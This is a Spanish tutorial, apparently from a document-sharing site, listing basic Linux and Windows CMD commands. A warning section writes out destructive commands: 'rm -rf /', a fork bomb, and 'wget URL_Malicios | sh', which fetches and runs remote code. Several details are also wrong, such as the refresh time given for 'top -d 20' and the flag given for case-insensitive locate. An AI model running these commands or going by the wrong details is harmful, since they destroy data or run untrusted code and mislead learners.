Está en la página 1de 15

1.

Comando ls

El comando ls se utiliza para listar los archivos y directorios que existan dentro de otro
directorio.También se puede combinar con otros parámetros para ver información adicional,
por ejemplo, -l. Ejemplos:

 ls-l
Muestra el listado por columnas y con detalles.

 ls/nombre-directorio
Lista el contenido del directorio indicado.

2. Comando cd

Con el comando cd podemos cambiar el directorio en el que nos encontramos en la terminal.


En un sistema operativo de escritorio, equivaldría a hacer doble click en una carpeta para
abrirla y ver su contenido. Ejemplos:

 cd ..
Subimos directamente un nivel respecto al directorio en el que nos encontramos.

 cd /nombre-directorio
Abre el directorio especificado en la ruta.

3. Comando pwd

Con el comando pwd podemos ver el nombre del directorio en el que nos encontramos en la


terminal. Sería como preguntar al sistema ¿Dónde estoy?, algo muy útil en un sistema
gestionado desde la línea a de comandos.

4. Comando cat

El comando cat se utiliza, principalmente, para ver el contenido de un archivo o para crear un


archivo en el que poder escribir. Ejemplos:

 cat nombre-archivo.txt
Esto mostrará el contenido del archivo en la terminal.

 cat > nombre-archivo.txt


Al usar > creamos el archivo con el nombre indicado para editarlo y añadir el texto que
queramos.

 cat archivo1 archivo2 > archivo3.txt


Copia el contenido de varios archivos a un tercero.

5. Comando mkdir

El comando mkdir se utiliza para crear los directorios que necesitemos desde la línea de
comandos. Para usarlo debes poner el comando mkdir seguido del nombre del directorio que
quieres crear. También puedes usar / para crear un directorio dentro de otro directorio.
Ejemplos:

 mkdir Directorio1
Esto creará un directorio con el nombre establecido.
 mkdir Directorio1/Directorio2
Esto creará el Directorio2 dentro del Directorio1.

6. Comando rmdir

Si has creado un directorio, también puedes eliminarlo y para esto se utiliza el


comando rmdir.Sólo podrás borrar directorio que no tengan contenido dentro y no pide
confirmación, cuando utilices el comando rmdir, lo borrará. Ejemplos:

 rmdir Directorio1
Elimina el Directorio1, siempre que esté vacío.

 rmdir Directorio1/Directorio2
Borra el Directorio2.

7. Comando touch

El comando touch nos permite crear un documento con el nombre que le asignemos, listo para
su edición. Su uso es muy sencillo, pero recuerda que luego tienes que añadir el contenido al
archivo, no copia ninguna información. Ejemplos:

 touch archivo1.txt
Para crear un archivo simple con el nombre y la extensión que queramos.

 touch archivo1.txt archivo2.txt archivo3.txt


Esto crea todos los archivos que indiquemos de golpe.

8. Comando rm

Si lo que necesitas es borrar un archivo, el comando rm el que tienes que utilizar. La acción de
borrado con rm es irreversible, así que hay que tener precaución con su uso. Ejemplos:

 rm archivo1.txt
Para el eliminar el archivo indicado totalmente.

 rm -r
Con este modificador se eliminan todos los archivos y subdirectorios.

9. Comando cp

Cuando quieres copiar un archivo dentro de un directorio, puedes hacerlo con el comando
cp. Tan sólo debes indicar el nombre del archivo, dentro del directorio en el que te encuentres,
y la ruta completa del otro directorio. El archivo se copiará con el mismo nombre.

 cp ejemplo.txt /home/directorio1
Esto copiará el archivo ejemplo.txt en el directorio1.

 cp * home/directorio1
Usando el comodín *, podemos copiar todos los archivos del directorio actual al
directorio indicado (directorio1)

10. Comando sudo

El comando sudo otorga privilegios de SuperUsuario al usuario actual para realizar tareas


puntuales de las que no tiene premisos para hacerlo. Hay que tener cuidado al usar este
comando, ya que se pueden provocar daños irreversibles al realizar accesiones con permisos
de SuperUsuario. Ejemplo:

 sudo apt-get update


Esto actualiza los paquetes del sistema. Si no tienes premisos root y no usas el
comando sudo, no podrías actualizarlo.

11. Comando top

Con el comando top podemos ver una lista con todos los procesos activos que está ejecutando
el sistema. También muestra los consumos de memoria RAM y CPU y todo en tiempo real. Esta
información es muy útil cuando tenemos problemas de rendimiento en el sistema. Ejemplos:

 top
El comando simple muestra el listado indicado.

 top -d 20
Establecería una frecuencia de refresco de 25 segundos para mostrar el listado con los
resultados.

12. Comando man

Si estás empezando con Linux, posiblemente el comando man sea uno de los que más uses.
Con este comando podemos ver un manual sobre las funciones disponibles para un comando
en concreto. Ejemplo:

 man top
Esto muestra todas las funciones disponibles para el comando top.

13. Comando zip/unzip

Los .zip son muy usados para comprimir y descomprimir archivos y redicir su tamaño, sobre
todo en el entorno Windows. En Linux puedes usar el comando zip para comprimir un archivo
y unzip para descomprimirlo. Ejemplos:

 zip nombre-archivo.pdf
Esto comprime el archivo indicado en .zip.

 zip Ejemplo.zip archivo1.txt archivo2.pdf


Esto comprimiríamos los archivos indicados en un .zip llamado Ejemplo.zip.

 unzip Ejemplo.zip
Para descomprimir el archivo .zip en el directorio en el que nos encontremos.

14. Comando tar

En el entorno Linux, el comando más habitual para comprimir archivos es tar.Tiene muchas
funciones y posibilidades, lo que lo convierte en una de las opciones preferidas por los
usuarios. Ejemplos:

 tar cvf dcomprimido.tar Directorio1


Esto comprimiría Directorio1 en tar con el nombre dcomprimido.tar.

 tar xvf dcomprimido.tar -C /home/Directorio2


Descomprime el archivo dcomprimido.tar en Directorio2.
15. Comando locate

El comando locate viene de localización y lo podemos utilizar para encontrar un archivo


determinado. La búsqueda la realiza por todo el sistema de archivos, así que si pones algo muy
genérico, la lista de resultados puede ser muy larga. Ejemplos:

 locate archivo1
Buscará todos los archivos con el texto archive1 en el sistema.

 locate -r archivo1
Hará la búsqueda sin distinguir entre mayúsculas y minúsculas, por lo que obtendrás
resultados de archivo1, Archivo1, arCHIvo2, etc.

16. Comando find

El comando find también se utiliza para encontrar archivos y carpetas, pero podemos acotar la


búsqueda a un directorio específico. Con find también podemos realizar búsquedas por fecha,
tamaño, permisos, etc. Ejemplos:

 find . -name archivo1.txt


De esta forma podemos buscar el archivo1.txt en el directorio actual.

 find . -type f -iname “*.txt”


Con este comando y parámetro encontraremos todos los archivos con extensión txt
del directorio.

17. Comando mv

El comando mv es que que tenemos que utilizar cuando queremos mover un archivo de sitio,
aunque también puedes utilizarlo para cambiar el nombre de un archivo. Ejemplos:

 mv /Directorio1/archivo1.txt /Directorio2/
Con este comando moveríamos el archivo1.txt del Directorio1 al Directorio2.

 mv /Directorio1/archivo1.txt /Directorio1/archivo2.txt
Y con este comando se cambiaría de nombre el archivo1.txt a archivo2.txt.

18. Comando cp

Si en vez de copiar un archivo queremos copiarlo, el comando que tenemos que usar es cp.Su
uso es similar al comando mv, así que debemos especificar el archivo seguido del nombre del
directorio. Ejemplo:Así copiaríamos archivo1.txt del directorio actual a Directorio2.

 cp archivo1.txt /Directorio2/
Así copiaríamos archivo1.txt del directorio actual a Directorio2.

19. Comando df

Si necesitas saber el espacio de la unidad de almacenamiento que estás usando, el


comando df te muestra toda la información que necesitas sobre el espacio del disco.

20. Comando du

Para saber cuánto espacio está ocupando un archivo o un directorio en el sistema, el


comando du te lo indicará. También podemos ver el tamaño de los archivos del directorio.
Ejemplos:
 du -h /Directorio1
Muestra el tamaño de Directorio1 en formato humano (kilobyte, megabyte, etc.)

 du -a /Directorio1
Con el modificador -a podemos ver el tamaño de los archivos incluidos en Directorio1

21. Comando chmod

chmod es el comando que utilizamos en Linux para administrar los permisos de archivos y
directorios. Cambiar los permisos de un directorio o archivo de forma errónea puede causar
problemas, así que hay que usarlo con precaución. Ejemplo:

 chmod 644 archivo1.txt


Establece premisos de lectura y ejecución a propietario del archivo. También estable
permisos de lectura al resto de usuarios.

22. Comando kill

Para cerrar aplicaciones en Linux se usa el comando kill. Si programa no responde o no lo hace


correctamente y tenemos que cerrarlo, kill se encarga de hacerlo. Ejemplo:

 kill -9 52661
Cancelamos el proceso 52661 con la señal SIGKILL.

23. Comando ping

El comando ping se utiliza para comprobar que un servidor o un sitio web está conectado a
Internet y responde. Puedes usar el comando ping seguido de cualquier dominio para ver si
responde y con qué dirección IP lo hace.

24. Comando grep

El comando grep podemos utilizarlo para encontrar un texto dentro de uno o varios archivos.


Ejemplo:

 grep -w horario /home/archivo1.txt


Buscaríamos la palabra exacta 'horario' dentro de archivo1.

25. Comando wget

Con el comando wget podemos descargar un archivo desde una URL o FTP. Tiene distintos
modificadores con lo convierten en una herramienta muy versátil y potente para cualquier
usuario de Linux. Ejemplos:

 wget https://url-ejemplo.com/archivo1.txt
Descargamos archivo1.txt desde el dominio indicado.

 wget https://url-ejemplo.com/*.txt
Descargamos todos los archivos .txt desde la URL indicada.

 cuáles son los comandos Linux más peligros para la integridad de tu sistema.

Para ponerte sobre aviso, vamos a contarte con qué comandos tienes que
tener más cuidado, sobre todo al principio.
 rm –rf * Con esto eliminaremos todos los directorios y subdirectorios, sin
confirmación. El asterisco indica que se haga lo mismo con todo el directorio.
 rm –rf / Para borrar todo sin confirmación desde el directorio principal (/) del
sistema. Borrar todo..... ya sabes, mucho cuidado.
 :(){ :|: & };: Esto es como una bomba en la que el sistema se llega a saturar por
no poder resolverlo, ya que se repite la función de llamada a los 2 puntos (:) y
se vuelve a llamar a la misma función 2 veces más y así sucesivamente... al
final acaba en bloqueo del sistema y un reset forzado del sistema.
 wget URL_Malicios | sh Ya hemos visto para que sirve wget, pero si añades la
URL con el sh (Shell) se ejecutará directamente. ¿Qué contiene el script de la
URL? Ese es el peligro....
 mv directorio /dev/null /dev/null en Linux es mandar a la basura y borrar, como
mandarlos a la nada. Mover un directorio o archivo a la nada no parece nada
seguro, así que úsalo con "conocimiento de causa"

Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

ASSOC * Muestra o modifica las asociaciones de las extensiones de archivos.

AT Planifica comandos y programas para ejecutarse en un equipo. Está en


desuso, en su lugar se recomienda utilizar schtask.exe.

ATTRIB Muestra o cambia los atributos del archivo.

BREAK * Establece o elimina la comprobación extendida de Ctrl+C en los


sistemas MS-DOS. Este comando ya no está en uso. Se incluye para
preservar la compatibilidad con archivos de MS-DOS ya existentes, pero
no tiene ningún efecto en la línea de comandos porque la funcionalidad
es automática.

CALCS Muestra o modifica las listas de control de acceso (ACLs) de archivos.

CALL * Llama a un programa por lotes desde otro.

CD * Muestra el nombre del directorio actual o cambia a otro directorio.

CHCP Muestra o establece el número de página de códigos activa.

CHDIR * Muestra el nombre del directorio actual o cambia a otro directorio.


Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

CHKDSK Comprueba un disco y muestra un informe de su estado.

CHKNTFS Muestra o modifica la comprobación de disco al iniciar (arrancar).

CLS * Borra la pantalla.

CMD Inicia una nueva instancia del intérprete de comandos de Windows.

COLOR * Establece los colores del primer plano y fondo predeterminados de la


consola.

COMP Compara el contenido de dos archivos o un conjunto de archivos.

COMPACT Muestra o cambia el estado de compresión de archivos en particiones


NTFS.

CONVERT Convierte volúmenes FAT a volúmenes NTFS. No puede convertir la


unidad actual.

COPY * Copia uno o más archivos a otro lugar (en otra ubicación).

DATE * Muestra o establece la fecha.

DEL * Elimina uno o más archivos.

DIR * Muestra una lista de archivos y subdirectorios en un directorio.

DISKPART Muestra o configura las propiedades de partición de disco.

DISKCOMP Compara el contenido de dos disquetes.

DOSKEY Edita líneas de comando, recupera comandos de Windows y crea


macros.
Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

DRIVERQUER Muestra el estado y las propiedades actuales del controlador de


Y dispositivo.

ECHO * Muestra mensajes, o activa y desactiva el eco.

ENDLOCAL * Termina la búsqueda de variables de entorno del archivo por lotes.

ERASE * Elimina uno o más archivos.

EXIT * Sale del programa cmd.exe (intérprete de comandos).

FC Compara dos archivos o conjunto de archivos y muestra las diferencias


entre ellos.

FIND Busca una cadena de texto en uno o más archivos.

FINDSTR Busca cadenas de texto en archivos.

FOR * Ejecuta un comando para cada archivo en un conjunto de archivos.

FORMAT Formatea un disco para usarse con Windows.

FSUTIL Muestra o configura las propiedades del sistema de archivos.

FTYPE * Muestra o modifica los tipos de archivo usados en asociaciones de


extensión de archivo.

GOTO * Direcciona el intérprete de comandos de Windows a una línea con


etiqueta.

GPRESULT Muestra información de directiva de grupo por equipo o usuario.

GRAFTABL Permite a Windows mostrar un conjunto de caracteres extendidos en


modo gráfico.

HELP Proporciona información de ayuda para los comandos Windows.


Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

ICACLS Muestra, modifica, hace copias de seguridad o restaura listas de control


de acceso (ACL) para archivos y directorios.

IF * Ejecuta procesos condicionales en programas por lotes.

LABEL Crea, cambia o elimina la etiqueta del volumen de un disco.

MD * Crea un directorio.

MKDIR * Crea un directorio.

MKLINK * Crea vínculos simbólicos y vínculos físicos.

MODE Configura un dispositivo de sistema.

MORE Muestra la información pantalla por pantalla.

MOVE * Mueve uno o más archivos de un directorio a otro.

OPENFILES Muestra archivos compartidos abiertos por usuarios remotos como


recurso compartido de archivos.

PATH * Muestra o establece una ruta de búsqueda para archivos ejecutables.

PAUSE * Suspende el proceso de un archivo por lotes y muestra un mensaje.

POPD * Restaura el valor anterior del directorio actual guardado en PUSHD.

PRINT Imprime un archivo de texto.

PROMPT * Cambia el símbolo de comandos de Windows.

PUSHD * Guarda el directorio actual y después lo cambia.

RD * Elimina un directorio.


Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

RECOVER Recupera la información legible de un disco dañado o defectuoso.

REM * Registra comentarios (notas) en archivos por lotes o CONFIG.SYS.

REN * Cambia el nombre de uno o más archivos.

RENAME * Cambia el nombre de uno o más archivos.

REPLACE Reemplaza archivos.

RMDIR * Elimina (quita) un directorio.

ROBOCOPY Utilidad avanzada para copiar archivos y árboles de directorios.

SC Muestra o configura servicios (procesos en segundo plano).

SCHTASKS Programa comandos y programa para ejecutarse en un equipo

SET * Muestra, establece o elimina (quita) variables de entorno en Windows.

SETLOCAL * Inicia la localización de los cambios de entorno en un archivo por lotes.

SHIFT * Cambia la posición de parámetros reemplazables en archivos por lotes.

SHUTDOWN Permite el apagado local o remoto de un equipo.

SORT Ordena la salida.

START * Inicia otra ventana para ejecutar un programa o comando especificado.

SUBST Asocia una ruta de acceso con una letra de unidad.

SYSTEMINFO Muestra las propiedades y la configuración específicas del equipo.


Lista de comandos CMD en Windows (MS-DOS)

Comando Funcionalidad

TASKKILL Termina o interrumpe un proceso o aplicación que se está ejecutando.

TASKLIST Muestra todas las tareas en ejecución, incluidos los servicios.

TIME * Muestra o establece la hora del sistema.

TITLE * Establece el título de la ventana de una sesión de cmd.exe.

TREE Muestra gráficamente la estructura de directorios de una unidad o ruta


de acceso.

TYPE * Muestra el contenido de uno o más archivos de texto (.bat, .txt,...).

VER * Muestra la versión de Windows.

VERIFY * Comunica a Windows si debe comprobar que los archivos se escriben de


forma correcta en un disco.

VOL * Muestra la etiqueta del volumen y el número de serie del disco.

WMIC Muestra información de WMI en el shell de comandos interactivo.

XCOPY Copia archivos y árboles de directorios.

CD Uno de los comandos más esenciales de la consola de


Windows. Sirve para cambiar de directorio, utilizando la
fórmula *cd < RutaDirectorio >* para ir al directorio o
carpeta concreta que le digas, o *cd..* (con dos puntos) para
salir de una carpeta e ir al nivel superior o carpeta donde
estaba alojada.

DIR El comando lista el contenido del directorio o carpeta donde


te encuentras, mostrando todas las subcarpetas o archivos
que tiene. Con este comando podrás saber si el archivo que
buscas está ahí o a qué subcarpeta navegar.

TREE CARPETA Te muestra el árbol de directorios de una carpeta concreta


que le digas

CLS Limpia la ventana de la consola de Windows, borrando todo


lo que se ha escrito en ella, tanto tus comandos como las
respuestas de la propia consola. Se quedará todo como si la
acabases de abrir de nuevo.

EXIT Cierra la ventana de la consola de Windows.

HELP Muestra todos los comandos que hay disponibles, poniendo


en cada uno una breve descripción en inglés.

COPY ARCHIVO DESTINO Copia uno o más archivos en la dirección que tu elijas.

ROBOCOPY Una función mejorada más rápida y eficiente, y que permite


hacer acciones como cancelar o retomar la copia. Muestra
también un indicador de progreso, lo que lo convierte en
una buena alternativa para copiar archivos pesados.

MOVE ARCHIVO Mueve el archivo concreto que quieras del lugar o carpeta
DESTINO en el que está a otra dirección que le digas. Es como copiar,
pero sin dejar el archivo en su ubicación original.

DEL ARCHIVO O CARPETA Borra el archivo o carpeta que le indiques.

RENAME ARCHIVO Te permite cambiarle el nombre al archivo que consideres


oportuno, e incluso incluyendo su extensión también puedes
cambiarla. Aunque será un cambio como el que haces en la
interfaz principal de Windows, sin conversión y sin que
implique que va a funcionar bien con la nueva extensión.

MD NOMBREDECARPETA Crea una carpeta con el nombre que le asignes en la


dirección en la que te encuentres en ese momento.
TYPE Te permite crear un archivo desde la propia ventana de
ARCHIVO.EXTENSION comandos. Esto quiere decir que no sólo vas a crear un
archivo, sino que también podrás escribir el texto que
quieras en su interior.

FORMAT Mucho cuidado con este último comando básico, porque


sirve para formatear la unidad

SYSTEMINFO El nombre del comando es bastante literal, y te sirve para


obtener la información sobre el ordenador o sistema en el
que estás trabajando. Te da datos como el nombre del
sistema, el procesador, la memoria RAM, la placa base o el
almacenamiento interno que tienes.

CHKDSK Cuando algo falla en tu ordenador, este suele ser uno de los
primeros comandos a los que recurrir. Realiza un análisis de
la superficie del disco duro para detectar fallos como
posibles sectores defectuosos, y también hace
comprobaciones en la estructura lógica del sistema de
archivos y repara cualquier error (archivos perdidos,
nombres sin sentido, carpetas a las que no se puede
acceder, etc.).

IPCONFIG Otro comando esencial para obtener información


importante sobre el ordenador, en este caso sobre tu
conexión a la red. Te muestra la información de tu conexión,
incluyendo tu dirección IP, la máscara de subred o la puerta
de enlace por defecto.

NETSTAT Analiza y muestra las estadísticas del protocolo y las


conexiones TCP/IP en uso por tus dispositivos. Con ello,
puedes solucionar posibles problemas de conexión mirando
el estado de los puertos y conexiones de tu equipo

TRACERT Te ayuda a saber el camino que sigue tu conexión hasta


DIRECCIONHOST llegar al host que le indiques. Por ejemplo, escribiendo
TRACERT WWW.XATAKA.COM pod<="" p="">

GETMAC Ya te hemos hablado alguna vez de qué es la dirección MAC


de un dispositivo, un identificador único que cada fabricante
le asigna a la tarjeta de red de sus dispositivos conectados,
desde un ordenador o móvil hasta routers, impresoras u
otros dispositivos. Pues bien, este comando muestra la
dirección MAC de tu ordenador.

VER Ver viene de versión, y cuando lo escribes en la consola te


devuelve la versión numérica exacta de tu sistema
operativo. Perfecto para cuando estás esperando
actualizaciones o quieres comprobar si tienes disponible
determinada característica.

CONTROL PANEL Un comando que sirve como acceso directo, y que te abre
directamente el Panel de Control de Windows sin que tengas
que andar buscándolo.

TIME Ya sea porque estás absorto utilizando la consola o porque


quieres identificar algún problema surgido de una posible
desincronización de horarios, este comando te muestra la
hora exacta que tiene tu ordenador.

DRIVERQUERY Te muestra la lista completa de todos los drivers que tienes


instalados en el ordenador, con su nombre de módulo,
nombre completo y el tipo de controlador del que se trata.

TASKLIST Te muestra la lista completa de todos los procesos que


tienes en ejecución en tu sistema, así como la cantidad de
memoria que está utilizando cada uno de ellos. Como pasa
cuando entras en el administrador de tareas, esto te permite
encontrar procesos que no deberían estar ahí o que puedan
haberse quedado colgados.

TASKKILL /PID En la lista anterior, a cada proceso se le asigna un PID o


NUMEROIDDEPROCESO Número identificador del proceso. Pues bien, con este
comando podrás cerrar el proceso cuyo número le hayas
indicado

SFC Examina la integridad de todos los archivos de tu sistema y


reemplaza los que detecte que estén dañados utilizando las
copias en caché del sistema. Para poder utilizar este
comando tienes que haber ejecutado el Símbolo de sistema
como administrador, ya que necesita de esos permisos.
CLEANMGR Cuando lo escribas te aparecerá una ventana emergente
pidiéndote que selecciones una unidad de disco. Lo que
habrás hecho es lanzar la aplicación de Windows para liberar
espacio. Vamos, que es una aplicación a la que puedes
acceder desde el menú de inicio, pero también desde la
consola.

WINSAT FORMAL La consola de Windows ejecuta un benchmark completo que


analiza el rendimiento del equipo y todos sus componentes.
Este comando, el WINSAT, también puede ser acompañado
de otros apellidos más allá de FORMAL, como por ejemplo
CPUFORMAL para medir sólo el rendimiento de la CPU,
MEMFORMAL para el de la RAM, GRAPHICSFORMAL para la
tarjeta gráfica o DISKFORMAL para las unidades de
almacenamiento.

DEFRAG Inicia la desfragmentación del disco duro que le indiques.


Igual que la aplicación nativa que Windows tiene para ello.

DISKPART Escribe este comando añadiéndole los atributos LIST DISK o


LIST VOLUME para obtener un listado de los discos o
volúmenes del equipo con esta función para gestionar las
particiones y discos duros.

SHUTDOWN Sirve para apagar el ordenador directamente desde la


consola de comandos de Windows. Puedes añadirle el
atributo -s -t TiempoEnSegundos para programar el
apagado, o escribir simplemente SHUTDOWN -R para
reiniciar el ordenador.

LOGOFF Cierra la sesión del usuario con el que estás accediendo al


ordenador, aunque manteniendo el ordenador encendido.

También podría gustarte